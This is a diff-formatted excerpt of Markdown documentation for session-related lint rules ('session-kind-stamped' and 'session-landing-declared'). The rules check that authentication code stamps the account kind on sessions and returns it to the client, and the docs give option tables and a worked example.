|
|
51
|
+
|
|
52
|
+
| Option | Type | Default | Meaning |
|
|
53
|
+
| --- | --- | --- | --- |
|
|
54
|
+
| `id` | `string` | `'session-kind-stamped'` | Rule id. |
|
|
55
|
+
| `mintCall` | `string` | none (inert) | The method whose call mints a session, matched as `.<mintCall>(`. |
|
|
56
|
+
| `field` | `string` | `'kind'` | The session field every mint must stamp. |
|
|
57
|
+
| `allowUnstamped` | `string[]` | `[]` | Repo-relative files whose mints may stamp nothing because they provably never mint for an account that needs the field. Keep it short; write the proof next to each entry. |
|
|
58
|
+
| `stampExample` | `string` | none | An example of the stamp, quoted in the message. |
|
|
59
|
+
| `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
|
|
60
|
+
| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
|
|
61
|
+
| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
|
|
62
|
+
| `hint` | `string` | none | Appended to every message. |
|
|
63
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
64
|
+
|
|
65
|
+
## Worked example: Settly
|
|
66
|
+
|
|
67
|
+
```ts
|
|
68
|
+
createSessionKindStampedRule({
|
|
69
|
+
mintCall: 'establishSession',
|
|
70
|
+
// Self-signup creates a new tenant and its owner ADMIN; a PORTAL row is only ever
|
|
71
|
+
// invite-provisioned, so no input to this flow produces a portal session.
|
|
72
|
+
allowUnstamped: ['apps/api/src/modules/auth/services/register.service.ts'],
|
|
73
|
+
stampExample: "...(user.kind === 'PORTAL' ? { kind: 'PORTAL' as const } : {})",
|
|
74
|
+
sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
|
|
75
|
+
});
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## When not to use it
|
|
79
|
+
|
|
80
|
+
If the pipeline reads the account kind from the database on every request, a missing stamp costs
|
|
81
|
+
nothing and there is nothing to fence.
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
# `session-landing-declared`
|
|
2
|
+
|
|
3
|
+
> Every file that opens a door into a session declares where it leaves the caller, and a door whose
|
|
4
|
+
> landing demands a return shape has it.
|
|
5
|
+
|
|
6
|
+
Import it from the `session` entry point:
|
|
7
|
+
|
|
8
|
+
```ts
|
|
9
|
+
import { createSessionLandingDeclaredRule } from '@noctcore/lint-meta-rules/session';
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Why
|
|
13
|
+
|
|
14
|
+
With two shells behind one sign-in (staff and a customer portal, say), the client can only send an
|
|
15
|
+
account to the right one if the response that ends the sign-in says which kind it is. The first door
|
|
16
|
+
(the password sign-in) usually does. A second door that finishes a sign-in from a different service (a
|
|
17
|
+
second-factor challenge) can return the same union and still have its landing unwired, and nothing
|
|
18
|
+
fails: the account signs in, lands in the wrong shell, and bounces off its guard. In the project this
|
|
19
|
+
rule was extracted from, every portal account with 2FA enabled did exactly that.
|
|
20
|
+
|
|
21
|
+
Two sibling rules fence the same seam, [`session-mint-callers`](./session-mint-callers.md) (who may
|
|
22
|
+
mint) and [`session-kind-stamped`](./session-kind-stamped.md) (the session carries the kind). Neither
|
|
23
|
+
can see this, because both are about the session and this is about the RESPONSE.
|
|
24
|
+
|
|
25
|
+
## What it flags
|
|
26
|
+
|
|
27
|
+
1. **Completeness.** A file matched by `sourceGlobs` that calls any of `doorCalls` and is not in
|
|
28
|
+
`doors`. A new door fails the build until someone classifies it, which is what keeps the list an
|
|
29
|
+
enumeration rather than a docblock nobody updates.
|
|
30
|
+
2. **The landing's demand.** A door whose landing maps to a string in `landings` and whose source never
|
|
31
|
+
contains that string (for example `Promise<ILoginResult>`, the return type that carries the kind to
|
|
32
|
+
the client). Coarse on purpose: it proves the kind REACHES the client, which is what a text rule can
|
|
33
|
+
see; where the client then navigates is the client's own tests' job.
|
|
34
|
+
3. **The declarations.** A door whose `landing` is not a key of `landings`, or whose `because` is empty.
|
|
35
|
+
4. **Staleness.** A door whose file no longer exists, or that `sourceGlobs` do not reach.
|
|
36
|
+
|
|
37
|
+
## What it leaves alone
|
|
38
|
+
|
|
39
|
+
- A file that only defines a door method (the leading dot is required).
|
|
40
|
+
- A door whose landing maps to `null`: a re-issue that replaces the cookie of a caller already inside a
|
|
41
|
+
shell has no landing to get wrong.
|
|
42
|
+
- Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
|
|
43
|
+
|
|
44
|
+
With no `doorCalls` the rule is inert.
|
|
45
|
+
|
|
46
|
+
## Factory
|
|
47
|
+
|
|
48
|
+
```ts
|
|
49
|
+
createSessionLandingDeclaredRule(options?: SessionLandingDeclaredOptions): IMetaRule
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
| Option | Type | Default | Meaning |
|
|
53
|
+
| --- | --- | --- | --- |
|
|
54
|
+
| `id` | `string` | `'session-landing-declared'` | Rule id. |
|
|
55
|
+
| `doorCalls` | `string[]` | `[]` (inert) | Methods whose call opens a door into a session (the mint, and the gate in front of it), each matched as `.<name>(`. |
|
|
56
|
+
| `doors` | `{ file, landing, because }[]` | `[]` | Every door: a repo-relative file, one of the `landings`, and why that landing is right. |
|
|
57
|
+
| `landings` | `Record<string, string \| null>` | `{}` | The landings a door may declare, each mapped to the text a door with it must contain, or `null`. |
|
|
58
|
+
| `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
|
|
59
|
+
| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
|
|
60
|
+
| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
|
|
61
|
+
| `hint` | `string` | none | Appended to every message. |
|
|
62
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
63
|
+
|
|
64
|
+
## Worked example: Settly
|
|
65
|
+
|
|
66
|
+
```ts
|
|
67
|
+
const AUTH = 'apps/api/src/modules/auth';
|
|
68
|
+
|
|
69
|
+
createSessionLandingDeclaredRule({
|
|
70
|
+
doorCalls: ['establishSession', 'beginOrEstablish'],
|
|
71
|
+
landings: { 'login-result': 'Promise<ILoginResult>', reissue: null, 'staff-only': null },
|
|
72
|
+
doors: [
|
|
73
|
+
{ file: `${AUTH}/services/login.service.ts`, landing: 'login-result', because: 'The password sign-in: either half of the product arrives here.' },
|
|
74
|
+
{ file: `${AUTH}/services/two-factor-challenge.service.ts`, landing: 'login-result', because: 'The second door: verifyChallenge finishes a sign-in on its own.' },
|
|
75
|
+
{ file: `${AUTH}/oauth/oauth.controller.ts`, landing: 'staff-only', because: 'OAuthAccountService refuses a PORTAL account on every resolution branch.' },
|
|
76
|
+
{ file: `${AUTH}/services/register.service.ts`, landing: 'staff-only', because: 'Self-signup mints a tenant and its owner ADMIN.' },
|
|
77
|
+
{ file: `${AUTH}/services/password-change.service.ts`, landing: 'reissue', because: 'The caller already holds a session.' },
|
|
78
|
+
{ file: `${AUTH}/services/session-management.service.ts`, landing: 'reissue', because: 'revokeOthers re-issues the caller their own session.' },
|
|
79
|
+
],
|
|
80
|
+
sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
|
|
81
|
+
});
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
## When not to use it
|
|
85
|
+
|
|
86
|
+
With a single shell, or with the landing decided server-side by a redirect that already reads the
|
|
87
|
+
account, there is no landing a door can get wrong.
|